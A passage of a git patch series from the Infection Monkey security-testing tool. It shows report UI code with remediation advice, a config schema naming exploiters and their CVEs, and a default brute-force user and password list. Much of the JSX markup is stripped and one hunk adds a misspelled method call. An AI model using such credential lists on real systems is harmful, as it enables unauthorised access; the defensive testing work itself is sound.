{'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+ ' using the services: ' + Object.keys(x['services']).join(', ')}
@@ -468,12 +473,12 @@ class ReportPageComponent extends AuthComponent {
}
generateShellshockPathListBadges(paths) {
- return paths.map(path => {path});
+ return paths.map(path => {path});
}
generateSmbPasswordIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -484,13 +489,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the SMB protocol with user {issue.username} and its password.
-
+ >
);
}
generateSmbPthIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -501,13 +506,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}.
-
+ >
);
}
generateWmiPasswordIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -518,13 +523,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the WMI protocol with user {issue.username} and its password.
-
+ >
);
}
generateWmiPthIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -535,13 +540,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}.
-
+ >
);
}
generateSshIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -552,13 +557,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the SSH protocol with user {issue.username} and its password.
-
+ >
);
}
generateSshKeysIssue(issue) {
return (
- -
+ <>
Protect {issue.ssh_key} private key with a pass phrase.
The machine {issue.machine} ({issue.ssh_key}.
-
+ >
);
}
generateSambaCryIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -589,13 +594,13 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-success">{issue.username} and its password, and used the SambaCry
vulnerability.
-
+ >
);
}
generateVsftpdBackdoorIssue(issue) {
return (
-
+ <>
Update your VSFTPD server to the latest version vsftpd-3.0.3.
The machine {issue.machine} (here.
-
+ >
);
}
generateElasticIssue(issue) {
return (
-
+ <>
Update your Elastic Search server to version 1.4.3 and up.
The machine {issue.machine} (
The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.
-
+ >
);
}
generateShellshockIssue(issue) {
return (
-
+ <>
Update your Bash to a ShellShock-patched version.
The machine {issue.machine} ({issue.port} was vulnerable to a shell injection attack on the
paths: {this.generateShellshockPathListBadges(issue.paths)}.
-
+ >
);
}
generateAzureIssue(issue) {
return (
-
+ <>
Delete VM Access plugin configuration files.
Credentials could be stolen from here.
-
+ >
);
}
generateConfickerIssue(issue) {
return (
-
+ <>
Install the latest Windows updates or upgrade to a newer operating system.
The machine {issue.machine} (
-
+ >
);
}
generateIslandCrossSegmentIssue(issue) {
return (
-
+ <>
Segment your network and make sure there is no communication between machines from different segments.
The network can probably be segmented. A monkey instance on
-
+ >
);
}
generateSharedCredsDomainIssue(issue) {
return (
-
+ <>
Some domain users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
-
+ >
);
}
generateSharedCredsIssue(issue) {
return (
-
+ <>
Some users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
-
+ >
);
}
generateSharedLocalAdminsIssue(issue) {
return (
-
+ <>
Make sure the right administrator accounts are managing the right machines, and that there isnβt an unintentional local
admin sharing.
@@ -730,13 +735,13 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-primary">{issue.username} is defined as an administrator:
{this.generateInfoBadges(issue.shared_machines)}
-
+ >
);
}
generateStrongUsersOnCritIssue(issue) {
return (
-
+ <>
This critical machine is open to attacks via strong users with access to it.
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
@@ -744,26 +749,26 @@ class ReportPageComponent extends AuthComponent {
These users has access to it:
{this.generateInfoBadges(issue.threatening_users)}.
-
+ >
);
}
generateTunnelIssue(issue) {
return (
-
+ <>
Use micro-segmentation policies to disable communication other than the required.
Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}.
-
+ >
);
}
generateStruts2Issue(issue) {
return (
-
+ <>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
Struts2 server at {issue.machine} (here.
-
+ >
+ );
+ }
+
+ generateDrupalIssue(issue) {
+ return (
+ <>
+ Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
+
+ Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack.
+
+ The attack was made possible because the server is using an old version of Drupal.
+ For possible workarounds and more info read here.
+
+ >
);
}
generateWebLogicIssue(issue) {
return (
-
+ <>
Update Oracle WebLogic server to the latest supported version.
Oracle WebLogic server at {issue.machine} ( CVE-2017-10271 or
CVE-2019-2725
-
+ >
);
}
generateHadoopIssue(issue) {
return (
-
+ <>
Run Hadoop in secure mode (
add Kerberos authentication).
@@ -809,13 +832,13 @@ class ReportPageComponent extends AuthComponent {
The attack was made possible due to default Hadoop/Yarn configuration being insecure.
-
+ >
);
}
generateMSSQLIssue(issue) {
return (
-
+ <>
Disable the xp_cmdshell option.
The machine {issue.machine} (
Microsoft's documentation.
-
+ >
);
}
generateIssue = (issue) => {
- let data;
+ let issueData;
switch (issue.type) {
case 'vsftp':
- data = this.generateVsftpdBackdoorIssue(issue);
+ issueData = this.generateVsftpdBackdoorIssue(issue);
break;
case 'smb_password':
- data = this.generateSmbPasswordIssue(issue);
+ issueData = this.generateSmbPasswordIssue(issue);
break;
case 'smb_pth':
- data = this.generateSmbPthIssue(issue);
+ issueData = this.generateSmbPthIssue(issue);
break;
case 'wmi_password':
- data = this.generateWmiPasswordIssue(issue);
+ issueData = this.generateWmiPasswordIssue(issue);
break;
case 'wmi_pth':
- data = this.generateWmiPthIssue(issue);
+ issueData = this.generateWmiPthIssue(issue);
break;
case 'ssh':
- data = this.generateSshIssue(issue);
+ issueData = this.generateSshIssue(issue);
break;
case 'ssh_key':
- data = this.generateSshKeysIssue(issue);
+ issueData = this.generateSshKeysIssue(issue);
break;
case 'sambacry':
- data = this.generateSambaCryIssue(issue);
+ issueData = this.generateSambaCryIssue(issue);
break;
case 'elastic':
- data = this.generateElasticIssue(issue);
+ issueData = this.generateElasticIssue(issue);
break;
case 'shellshock':
- data = this.generateShellshockIssue(issue);
+ issueData = this.generateShellshockIssue(issue);
break;
case 'conficker':
- data = this.generateConfickerIssue(issue);
+ issueData = this.generateConfickerIssue(issue);
break;
case 'island_cross_segment':
- data = this.generateIslandCrossSegmentIssue(issue);
+ issueData = this.generateIslandCrossSegmentIssue(issue);
break;
case 'shared_passwords':
- data = this.generateSharedCredsIssue(issue);
+ issueData = this.generateSharedCredsIssue(issue);
break;
case 'shared_passwords_domain':
- data = this.generateSharedCredsDomainIssue(issue);
+ issueData = this.generateSharedCredsDomainIssue(issue);
break;
case 'shared_admins_domain':
- data = this.generateSharedLocalAdminsIssue(issue);
+ issueData = this.generateSharedLocalAdminsIssue(issue);
break;
case 'strong_users_on_crit':
- data = this.generateStrongUsersOnCritIssue(issue);
+ issueData = this.generateStrongUsersOnCritIssue(issue);
break;
case 'tunnel':
- data = this.generateTunnelIssue(issue);
+ issueData = this.generateTunnelIssue(issue);
break;
case 'azure_password':
- data = this.generateAzureIssue(issue);
+ issueData = this.generateAzureIssue(issue);
break;
case 'struts2':
- data = this.generateStruts2Issue(issue);
+ issueData = this.generateStruts2Issue(issue);
break;
case 'weblogic':
- data = this.generateWebLogicIssue(issue);
+ issueData = this.generateWebLogicIssue(issue);
break;
case 'hadoop':
- data = this.generateHadoopIssue(issue);
+ issueData = this.generateHadoopIssue(issue);
break;
case 'mssql':
- data = this.generateMSSQLIssue(issue);
+ issueData = this.generateMSSQLIssue(issue);
+ break;
+ case 'drupal':
+ issueData = this.generateDrupalIssue(issue);
break;
}
- return data;
+ return {issueData};
};
generateIssues = (issues) => {
let issuesDivArray = [];
for (let machine of Object.keys(issues)) {
issuesDivArray.push(
-
+
{machine}
{issues[machine].map(this.generateIssue)}
From 4c9d0f27861badd4c774f8e09a31c6c5d2f4ae81 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Sun, 30 Aug 2020 18:04:40 +0300
Subject: [PATCH 22/81] Add Drupal to the newly formed configuration
---
.../cc/services/config_schema/basic.py | 76 ++++++++++
.../definitions/exploiter_classes.py | 139 ++++++++++++++++++
2 files changed, 215 insertions(+)
create mode 100644 monkey/monkey_island/cc/services/config_schema/basic.py
create mode 100644 monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py
new file mode 100644
index 000000000..0fa0b80d4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_schema/basic.py
@@ -0,0 +1,76 @@
+BASIC = {
+ "title": "Exploits",
+ "type": "object",
+ "primary": True,
+ "properties": {
+ "exploiters": {
+ "title": "Exploiters",
+ "type": "object",
+ "description": "Choose which exploiters the Monkey will attempt.",
+ "properties": {
+ "exploiter_classes": {
+ "title": "Exploiters",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "$ref": "#/definitions/exploiter_classes"
+ },
+ "default": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter",
+ "DrupalExploiter"
+ ]
+ }
+ }
+ },
+ "credentials": {
+ "title": "Credentials",
+ "type": "object",
+ "properties": {
+ "exploit_user_list": {
+ "title": "Exploit user list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "Administrator",
+ "root",
+ "user"
+ ],
+ "description": "List of user names that will be used by exploiters that need credentials, like "
+ "SSH brute-forcing."
+ },
+ "exploit_password_list": {
+ "title": "Exploit password list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "root",
+ "123456",
+ "password",
+ "123456789",
+ "qwerty",
+ "111111",
+ "iloveyou"
+ ],
+ "description": "List of passwords that will be used by exploiters that need credentials, like "
+ "SSH brute-forcing."
+ }
+ }
+ }
+ }
+}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
new file mode 100644
index 000000000..130171877
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -0,0 +1,139 @@
+from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN
+
+EXPLOITER_CLASSES = {
+ "title": "Exploit class",
+ "description": "Click on exploiter to get more information about it." + WARNING_SIGN +
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service.",
+ "type": "string",
+ "anyOf": [
+ {
+ "type": "string",
+ "enum": [
+ "SmbExploiter"
+ ],
+ "title": "SMB Exploiter",
+ "attack_techniques": ["T1110", "T1075", "T1035"],
+ "info": "Brute forces using credentials provided by user and"
+ " hashes gathered by mimikatz.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "WmiExploiter"
+ ],
+ "title": "WMI Exploiter",
+ "attack_techniques": ["T1110", "T1106"],
+ "info": "Brute forces WMI (Windows Management Instrumentation) "
+ "using credentials provided by user and hashes gathered by mimikatz.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "MSSQLExploiter"
+ ],
+ "title": "MSSQL Exploiter",
+ "attack_techniques": ["T1110"],
+ "info": "Tries to brute force into MsSQL server and uses insecure "
+ "configuration to execute commands on server.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "Ms08_067_Exploiter"
+ ],
+ "title": "MS08-067 Exploiter (UNSAFE)",
+ "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. "
+ "Uses MS08-067 vulnerability.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "SSHExploiter"
+ ],
+ "title": "SSH Exploiter",
+ "attack_techniques": ["T1110", "T1145", "T1106"],
+ "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "ShellShockExploiter"
+ ],
+ "title": "ShellShock Exploiter",
+ "info": "CVE-2014-6271, based on logic from "
+ "https://github.com/nccgroup/shocker/blob/master/shocker.py .",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "SambaCryExploiter"
+ ],
+ "title": "SambaCry Exploiter",
+ "info": "Bruteforces and searches for anonymous shares. Uses Impacket.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "ElasticGroovyExploiter"
+ ],
+ "title": "ElasticGroovy Exploiter",
+ "info": "CVE-2015-1427. Logic is based on Metasploit module.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "Struts2Exploiter"
+ ],
+ "title": "Struts2 Exploiter",
+ "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on "
+ "https://www.exploit-db.com/exploits/41570 .",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "WebLogicExploiter"
+ ],
+ "title": "WebLogic Exploiter",
+ "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "HadoopExploiter"
+ ],
+ "title": "Hadoop/Yarn Exploiter",
+ "info": "Remote code execution on HADOOP server with YARN and default settings. "
+ "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "VSFTPDExploiter"
+ ],
+ "title": "VSFTPD Exploiter",
+ "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
+ "Logic based on Metasploit module.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "DrupalExploiter"
+ ],
+ "title": "Drupal Exploiter",
+ "info": "Exploits a remote command execution vulnerability",
+ "link": ""
+ }
+ ]
+}
From a1356a14b3d48dfb694b45d1312fb53973c16e2a Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 12:12:50 +0300
Subject: [PATCH 23/81] npm audit fix
---
monkey/monkey_island/cc/ui/package-lock.json | 25 +++++++++++---------
1 file changed, 14 insertions(+), 11 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index a6dda774f..6bed64142 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -14585,10 +14585,13 @@
}
},
"serialize-javascript": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz",
- "integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ==",
- "dev": true
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+ "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+ "dev": true,
+ "requires": {
+ "randombytes": "^2.1.0"
+ }
},
"serve-index": {
"version": "1.9.1",
@@ -16862,9 +16865,9 @@
"integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
},
"terser": {
- "version": "4.6.13",
- "resolved": "https://registry.npmjs.org/terser/-/terser-4.6.13.tgz",
- "integrity": "sha512-wMvqukYgVpQlymbnNbabVZbtM6PN63AzqexpwJL8tbh/mRT9LE5o+ruVduAGL7D6Fpjl+Q+06U5I9Ul82odAhw==",
+ "version": "4.8.0",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz",
+ "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==",
"dev": true,
"requires": {
"commander": "^2.20.0",
@@ -16881,16 +16884,16 @@
}
},
"terser-webpack-plugin": {
- "version": "1.4.3",
- "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz",
- "integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==",
+ "version": "1.4.5",
+ "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz",
+ "integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==",
"dev": true,
"requires": {
"cacache": "^12.0.2",
"find-cache-dir": "^2.1.0",
"is-wsl": "^1.1.0",
"schema-utils": "^1.0.0",
- "serialize-javascript": "^2.1.2",
+ "serialize-javascript": "^4.0.0",
"source-map": "^0.6.1",
"terser": "^4.1.2",
"webpack-sources": "^1.4.0",
From 910e8355f95f1edfd154ecc1405e1b89cb324eeb Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 14:13:56 +0300
Subject: [PATCH 24/81] Fix or noqa some python linter errors
Also, replace os.path with Path
---
.../island_client/monkey_island_requests.py | 6 +--
monkey/common/network/network_range.py | 2 +-
monkey/infection_monkey/monkey.py | 2 +-
monkey/monkey_island/cc/encryptor.py | 5 ++-
monkey/monkey_island/cc/environment/aws.py | 1 -
.../cc/environment/environment_singleton.py | 4 +-
.../cc/environment/test__init__.py | 1 -
.../cc/environment/test_environment_config.py | 2 +-
monkey/monkey_island/cc/main.py | 44 +++++++++----------
monkey/monkey_island/cc/models/monkey.py | 2 +-
monkey/monkey_island/cc/models/test_monkey.py | 2 +-
.../monkey_island/cc/resources/island_logs.py | 2 +-
monkey/monkey_island/cc/services/config.py | 3 +-
.../cc/services/edge/test_displayed_edge.py | 1 -
.../cc/services/netmap/net_edge.py | 1 -
monkey/monkey_island/cc/services/node.py | 2 -
.../cc/services/reporting/aws_exporter.py | 4 +-
.../services/telemetry/processing/exploit.py | 1 -
.../scripts/island_password_hasher.py | 2 +-
19 files changed, 40 insertions(+), 47 deletions(-)
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
index 7e2418d6f..9a98c1e06 100644
--- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
@@ -91,16 +91,14 @@ class MonkeyIslandRequests(object):
return requests.patch(self.addr + url, # noqa: DUO123
data=data,
headers=self.get_jwt_header(),
- verify=False
- )
+ verify=False)
@_Decorators.refresh_jwt_token
def delete(self, url):
return requests.delete( # noqa: DOU123
self.addr + url,
headers=self.get_jwt_header(),
- verify=False
- )
+ verify=False)
@_Decorators.refresh_jwt_token
def get_jwt_header(self):
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index b778bb5f9..7eb082c8f 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -28,7 +28,7 @@ class NetworkRange(object, metaclass=ABCMeta):
"""
base_range = self.get_range()
if self._shuffle:
- random.shuffle(base_range)
+ random.shuffle(base_range) # noqa: DUO102
for x in base_range:
yield self._number_to_ip(x)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 02463e988..07431bae9 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -89,7 +89,7 @@ class InfectionMonkey(object):
if self._opts.depth is not None:
WormConfiguration._depth_from_commandline = True
WormConfiguration.depth = self._opts.depth
- LOG.debug(f"Setting propagation depth from command line")
+ LOG.debug("Setting propagation depth from command line")
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
self._keep_running = True
diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py
index 585c84f87..cf1f02081 100644
--- a/monkey/monkey_island/cc/encryptor.py
+++ b/monkey/monkey_island/cc/encryptor.py
@@ -1,8 +1,9 @@
import base64
import os
-from Crypto import Random
-from Crypto.Cipher import AES
+# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained
+from Crypto import Random # noqa: DOU133
+from Crypto.Cipher import AES # noqa: DOU133
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py
index 587989825..b1ba0a734 100644
--- a/monkey/monkey_island/cc/environment/aws.py
+++ b/monkey/monkey_island/cc/environment/aws.py
@@ -1,6 +1,5 @@
from common.cloud.aws.aws_instance import AwsInstance
from monkey_island.cc.environment import Environment
-from monkey_island.cc.resources.auth.auth_user import User
__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py
index 6e800650f..194337384 100644
--- a/monkey/monkey_island/cc/environment/environment_singleton.py
+++ b/monkey/monkey_island/cc/environment/environment_singleton.py
@@ -1,7 +1,5 @@
import logging
-env = None
-
import monkey_island.cc.resources.auth.user_store as user_store
from monkey_island.cc.environment import (EnvironmentConfig, aws, password,
standard, testing)
@@ -22,6 +20,8 @@ ENV_DICT = {
TESTING: testing.TestingEnvironment
}
+env = None
+
def set_env(env_type: str, env_config: EnvironmentConfig):
global env
diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py
index 881195309..3637d6dd2 100644
--- a/monkey/monkey_island/cc/environment/test__init__.py
+++ b/monkey/monkey_island/cc/environment/test__init__.py
@@ -112,4 +112,3 @@ class TestEnvironment(TestCase):
self.assertTrue(method())
else:
self.assertFalse(method())
-
diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py
index 6a6da6be7..d4978a18a 100644
--- a/monkey/monkey_island/cc/environment/test_environment_config.py
+++ b/monkey/monkey_island/cc/environment/test_environment_config.py
@@ -57,7 +57,7 @@ class TestEnvironmentConfig(TestCase):
def test_get_server_config_file_path(self):
if platform.system() == "Windows":
- server_file_path = MONKEY_ISLAND_ABS_PATH + "\cc\server_config.json"
+ server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json"
else:
server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index 5867b8825..d4e7a5394 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -1,35 +1,35 @@
import logging
import os
-import os.path
import sys
import time
+from pathlib import Path
from threading import Thread
-MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
+# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
+MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
+if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
+ sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
-BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
-
-if BASE_PATH not in sys.path:
- sys.path.insert(0, BASE_PATH)
-
-from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
-from monkey_island.cc.island_logger import json_setup_logging
+from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402
+from monkey_island.cc.island_logger import json_setup_logging # noqa: E402
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
-json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
+json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
-import monkey_island.cc.environment.environment_singleton as env_singleton
-from common.version import get_version
-from monkey_island.cc.app import init_app
-from monkey_island.cc.bootloader_server import BootloaderHttpServer
-from monkey_island.cc.database import get_db_version, is_db_server_up
-from monkey_island.cc.network_utils import local_ip_addresses
-from monkey_island.cc.resources.monkey_download import MonkeyDownload
-from monkey_island.cc.services.reporting.exporter_init import \
- populate_exporter_list
-from monkey_island.cc.setup import setup
+import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
+from common.version import get_version # noqa: E402
+from monkey_island.cc.app import init_app # noqa: E402
+from monkey_island.cc.bootloader_server import BootloaderHttpServer # noqa: E402
+from monkey_island.cc.database import get_db_version, is_db_server_up # noqa: E402
+from monkey_island.cc.network_utils import local_ip_addresses # noqa: E402
+from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402
+from monkey_island.cc.setup import setup # noqa: E402
+
+
+MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
def main(should_setup_only=False):
@@ -54,8 +54,8 @@ def start_island_server(should_setup_only):
populate_exporter_list()
app = init_app(mongo_url)
- crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
- key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
+ crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt'))
+ key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key'))
setup()
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 2d970c640..bc6202e65 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -143,7 +143,7 @@ class Monkey(Document):
try:
_ = Monkey.get_single_monkey_by_id(object_id)
return True
- except:
+ except: # noqa: E722
return False
@staticmethod
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 18bdb1177..b2bba9aa0 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -77,7 +77,7 @@ class TestMonkey(IslandTestCase):
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
# Raise on non-existent monkey
- with pytest.raises(MonkeyNotFoundError) as e_info:
+ with pytest.raises(MonkeyNotFoundError) as _:
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
def test_get_os(self):
diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py
index 5d1d6d276..b643f2147 100644
--- a/monkey/monkey_island/cc/resources/island_logs.py
+++ b/monkey/monkey_island/cc/resources/island_logs.py
@@ -15,5 +15,5 @@ class IslandLog(flask_restful.Resource):
def get(self):
try:
return IslandLogService.get_log_file()
- except Exception as e:
+ except Exception:
logger.error('Monkey Island logs failed to download', exc_info=True)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 8d6210739..02dd91381 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -217,7 +217,8 @@ class ConfigService:
@staticmethod
def set_server_ips_in_config(config):
ips = local_ip_addresses()
- config["internal"]["island_server"]["command_servers"] = ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
+ config["internal"]["island_server"]["command_servers"] = \
+ ["%s:%d" % (ip, env_singleton.env.get_islaned_port()) for ip in ips]
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
@staticmethod
diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py
index dd214c9ed..d2a4e1f58 100644
--- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py
+++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py
@@ -1,6 +1,5 @@
from bson import ObjectId
-from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
